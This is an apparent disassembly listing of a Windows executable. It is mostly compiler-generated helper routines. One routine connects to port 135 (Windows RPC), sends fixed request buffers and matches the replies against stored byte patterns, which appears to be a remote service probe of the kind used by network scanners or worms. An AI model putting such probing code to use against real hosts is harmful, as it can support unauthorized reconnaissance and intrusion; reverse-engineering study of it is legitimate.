lea ecx, [esp+94h+var_6C]
call sub_4013ED
lea ecx, [esp+90h+var_24]
push eax
push ecx
lea ecx, [esp+98h+var_6C]
call sub_401E47
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 15h
call sub_40202C
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 13h
call sub_401226
add esi, 58h
push offset asc_4453E0 ; "/"
mov ecx, esi
call sub_4015E1
lea edx, [esp+90h+var_6C]
mov ecx, esi
push edx
call sub_4016C7
lea ecx, [esp+90h+var_6C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
loc_421419: ; CODE XREF: sub_420E10+2Aj
; sub_420E10+BAj ...
mov ecx, [esp+90h+var_C]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 84h
retn
sub_420E10 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 190h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4215D0 proc near ; CODE XREF: sub_401AFFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov edx, [esp+arg_4]
push ebx
mov ebx, [esp+4+arg_C]
push ebp
sub edx, ebx
xor eax, eax
push esi
push edi
test edx, edx
jle short loc_4215FB
loc_4215E4: ; CODE XREF: sub_4215D0+29j
mov esi, [esp+10h+arg_0]
mov edi, [esp+10h+arg_8]
add esi, eax
mov ecx, ebx
xor ebp, ebp
repe cmpsb
jz short loc_421602
inc eax
cmp eax, edx
jl short loc_4215E4
loc_4215FB: ; CODE XREF: sub_4215D0+12j
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_421602: ; CODE XREF: sub_4215D0+24j
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
sub_4215D0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_421620: ; CODE XREF: ___:004020B8j
mov eax, 2010h
call sub_437B30
mov eax, [esp+2018h]
push ebp
push esi
dec eax
push edi
jz short loc_42166D
dec eax
jz short loc_421647
dec eax
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_421647: ; CODE XREF: ___:00421638j
mov eax, [esp+2020h]
push 1388h
push eax
call sub_402022
add esp, 8
neg al
sbb eax, eax
pop edi
pop esi
and eax, 3
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_42166D: ; CODE XREF: ___:00421635j
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_4217C9
cmp esi, 0FFFFFFFFh
jz loc_4217C9
xor ecx, ecx
push 87h
mov [esp+10h], ecx
mov word ptr [esp+10h], 2
mov [esp+14h], ecx
mov [esp+18h], ecx
mov [esp+1Ch], ecx
nop
call near ptr 71AB2B66h
mov edx, [esp+2020h]
mov [esp+0Eh], ax
push edx
call sub_40188E
add esp, 4
mov [esp+10h], eax
lea eax, [esp+0Ch]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jz loc_4217C2
mov ebp, dword_511CA0
push 0
push 48h
push offset dword_444DA8
push esi
call ebp ; send
cmp eax, 0FFFFFFFFh
jz loc_4217C2
mov edi, dword_511CA4
push 0
lea ecx, [esp+20h]
push 2000h
push ecx
push esi
call edi ; recv
cmp eax, 0FFFFFFFFh
jz loc_4217C2
cmp byte ptr [esp+1Eh], 0Ch
jnz loc_4217C2
push 0
push 18h
push offset dword_444E1C
push esi
call ebp ; send
cmp eax, 0FFFFFFFFh
jz loc_4217C2
push 0
lea edx, [esp+20h]
push 2000h
push edx
push esi
call edi ; recv
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_4217C2
cmp byte ptr [esp+1Eh], 2
jnz short loc_4217C2
push 10h
push offset loc_444DF4
lea eax, [esp+24h]
push edi
push eax
call sub_401AFF
add esp, 10h
test al, al
jz short loc_421791
xor ecx, ecx
cmp edi, 12Ch
setnl cl
inc ecx
push esi
mov edi, ecx
call near ptr 71AB9639h
nop
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_421791: ; CODE XREF: ___:0042176Ej
push 10h
push offset dword_444E08
lea edx, [esp+24h]
push edi
push edx
call sub_401AFF
add esp, 10h
neg al
sbb eax, eax
push esi
and eax, 3
mov edi, eax
nop
call near ptr 71AB9639h
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_4217C2: ; CODE XREF: ___:004216DBj
; ___:004216F6j ...
push esi
call near ptr 71AB9639h
nop
loc_4217C9: ; CODE XREF: ___:0042167Ej
; ___:00421687j
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_421850: ; CODE XREF: ___:00401A0Fj
xor al, al
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_421870: ; CODE XREF: ___:00401168j
; ___:loc_4019F6j
push esi
mov esi, ecx
call sub_4015CD
test byte ptr [esp+8], 1
jz short loc_421888
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_421888: ; CODE XREF: ___:0042187Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4218A0 proc near ; CODE XREF: sub_4015CDj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4218A0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F0D0
lea ecx, [esi+7Ah]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4218A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421970 proc near ; CODE XREF: sub_40120Dj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401311
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4010E6
sub_421970 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4219B0 proc near ; CODE XREF: sub_4018E8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401910
sub_4219B0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4219F0 proc near ; CODE XREF: sub_401825j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40197E
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4014E2
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_4019A6
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401956
sub_4219F0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A60 proc near ; CODE XREF: sub_4014E2j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_40206D
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401EDD
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_421A60 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421AA0 proc near ; CODE XREF: sub_40197Ej
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401EDD
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_421AA0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421AD0 proc near ; CODE XREF: sub_402185j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_40197E
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40190B
sub_421AD0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B10 proc near ; CODE XREF: sub_40170Dj
push esi
mov esi, ecx
call sub_4019FB
mov eax, esi
pop esi
retn
sub_421B10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B30 proc near ; CODE XREF: sub_40122Bj
mov eax, [ecx]
push eax
call sub_4010F5
add esp, 4
retn
sub_421B30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B50 proc near ; CODE XREF: sub_40107Dj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40206D
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_421B50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B80 proc near ; CODE XREF: sub_401811j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40201D
neg al
sbb eax, eax
inc eax
retn 4
sub_421B80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421BB0 proc near ; CODE XREF: sub_4016EAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401212
sub_421BB0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421BF0 proc near ; CODE XREF: sub_401253j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4013F7
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401465
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40100F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_4021DA
sub_421BF0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C60 proc near ; CODE XREF: sub_401465j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_40110E
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401D89
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_421C60 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421CA0 proc near ; CODE XREF: sub_4013F7j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401D89
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_421CA0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421CD0 proc near ; CODE XREF: sub_401325j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_4013F7
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401BC2
sub_421CD0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D10 proc near ; CODE XREF: sub_401B54j
push esi
mov esi, ecx
call sub_4011A9
mov eax, esi
pop esi
retn
sub_421D10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D30 proc near ; CODE XREF: sub_401055j
mov eax, [ecx]
push eax
call sub_40108C
add esp, 4
retn
sub_421D30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D50 proc near ; CODE XREF: sub_401839j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40110E
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_421D50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D80 proc near ; CODE XREF: sub_4012BCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401D5C
neg al
sbb eax, eax
inc eax
retn 4
sub_421D80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421DB0 proc near ; CODE XREF: sub_4010E6j
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401EEC
mov edi, eax
push edi
call sub_401B31
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40139D
sub_421DB0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401B31
push edi
mov [eax], ebx
call sub_401B31
mov edi, [eax]
push edi
call sub_401B31
mov ecx, [eax]
push ecx
call sub_4015DC
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401172
add esp, 4
mov ecx, esi
push eax
call sub_401E5B
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401D98
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421E50 proc near ; CODE XREF: sub_40190Bj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4010C8
mov edi, eax
push edi
call sub_401D07
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401910
sub_421E50 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401D07
push edi
mov [eax], ebx
call sub_401D07
mov edi, [eax]
push edi
call sub_401D07
mov ecx, [eax]
push ecx
call sub_40206D
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4010F5
add esp, 4
mov ecx, esi
push eax
call sub_4017F3
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401EDD
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421EF0 proc near ; CODE XREF: sub_4019A6j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401811
test al, al
jz short loc_421F4A
loc_421F08: ; CODE XREF: sub_421EF0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4020D6
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401A2D
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401811
test al, al
jnz short loc_421F08
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_421F4A: ; CODE XREF: sub_421EF0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_421EF0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421F80 proc near ; CODE XREF: sub_401910j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 24h
call sub_401E0B
sub_421F80 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_421F95
mov edi, esi
loc_421F95: ; CODE XREF: ___:00421F91j
push esi
call sub_40206D
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_421FAA
mov edi, esi
loc_421FAA: ; CODE XREF: ___:00421FA6j
push esi
call sub_401D07
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421FD0 proc near ; CODE XREF: sub_401956j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401550
sub_421FD0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421FF0 proc near ; CODE XREF: sub_40206Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_421FF0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422010 proc near ; CODE XREF: sub_4010F5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_422010 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422030 proc near ; CODE XREF: sub_4019FBj
mov eax, ecx
retn
sub_422030 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422050 proc near ; CODE XREF: sub_401EDDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401523
mov eax, esi
pop esi
retn 4
sub_422050 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422080 proc near ; CODE XREF: sub_40201Dj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_422080 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4220B0 proc near ; CODE XREF: sub_401BC2j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4018F7
mov edi, eax
push edi
call sub_4010EB
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401212
sub_4220B0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_4010EB
push edi
mov [eax], ebx
call sub_4010EB
mov edi, [eax]
push edi
call sub_4010EB
mov ecx, [eax]
push ecx
call sub_40110E
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_40108C
add esp, 4
mov ecx, esi
push eax
call sub_4013E8
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401D89
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422150 proc near ; CODE XREF: sub_40100Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_4012BC
test al, al
jz short loc_4221AA
loc_422168: ; CODE XREF: sub_422150+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4019BA
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401B90
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_4012BC
test al, al
jnz short loc_422168
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4221AA: ; CODE XREF: sub_422150+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_422150 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4221E0 proc near ; CODE XREF: sub_401212j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 20h
call sub_4020DB
sub_4221E0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_4221F5
mov edi, esi
loc_4221F5: ; CODE XREF: ___:004221F1j
push esi
call sub_40110E
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_42220A
mov edi, esi
loc_42220A: ; CODE XREF: ___:00422206j
push esi
call sub_4010EB
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422230 proc near ; CODE XREF: sub_4021DAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4018F2
sub_422230 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422250 proc near ; CODE XREF: sub_40110Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_422250 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422270 proc near ; CODE XREF: sub_40108Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_422270 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422290 proc near ; CODE XREF: sub_4011A9j
mov eax, ecx
retn
sub_422290 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4222B0 proc near ; CODE XREF: sub_401D89j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4018FC
mov eax, esi
pop esi
retn 4
sub_4222B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4222E0 proc near ; CODE XREF: sub_401D5Cj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4222E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422310 proc near ; CODE XREF: sub_401E5Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401A3C
add esp, 8
retn 8
sub_422310 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422340 proc near ; CODE XREF: sub_401A2Dj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4020D6
mov ecx, eax
call sub_4010C8
mov esi, eax
push esi
call sub_40206D
push esi
mov ebx, eax
call sub_401D07
mov ecx, [eax]
push ecx
call sub_40206D
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401D07
push esi
mov ebx, eax
call sub_40206D
mov eax, [eax]
push eax
call sub_401D07
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4010F5
add esp, 1Ch
mov ecx, edi
push eax
call sub_40163B
push esi
mov ecx, edi
call sub_401956
sub_422340 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422400 proc near ; CODE XREF: sub_401D07j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_422400 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422420 proc near ; CODE XREF: sub_401E0Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_422420 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422450 proc near ; CODE XREF: sub_401550j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_422450 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422470 proc near ; CODE XREF: sub_4017F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40203B
add esp, 8
retn 8
sub_422470 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4224A0 proc near ; CODE XREF: sub_401523j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4224A0 endp
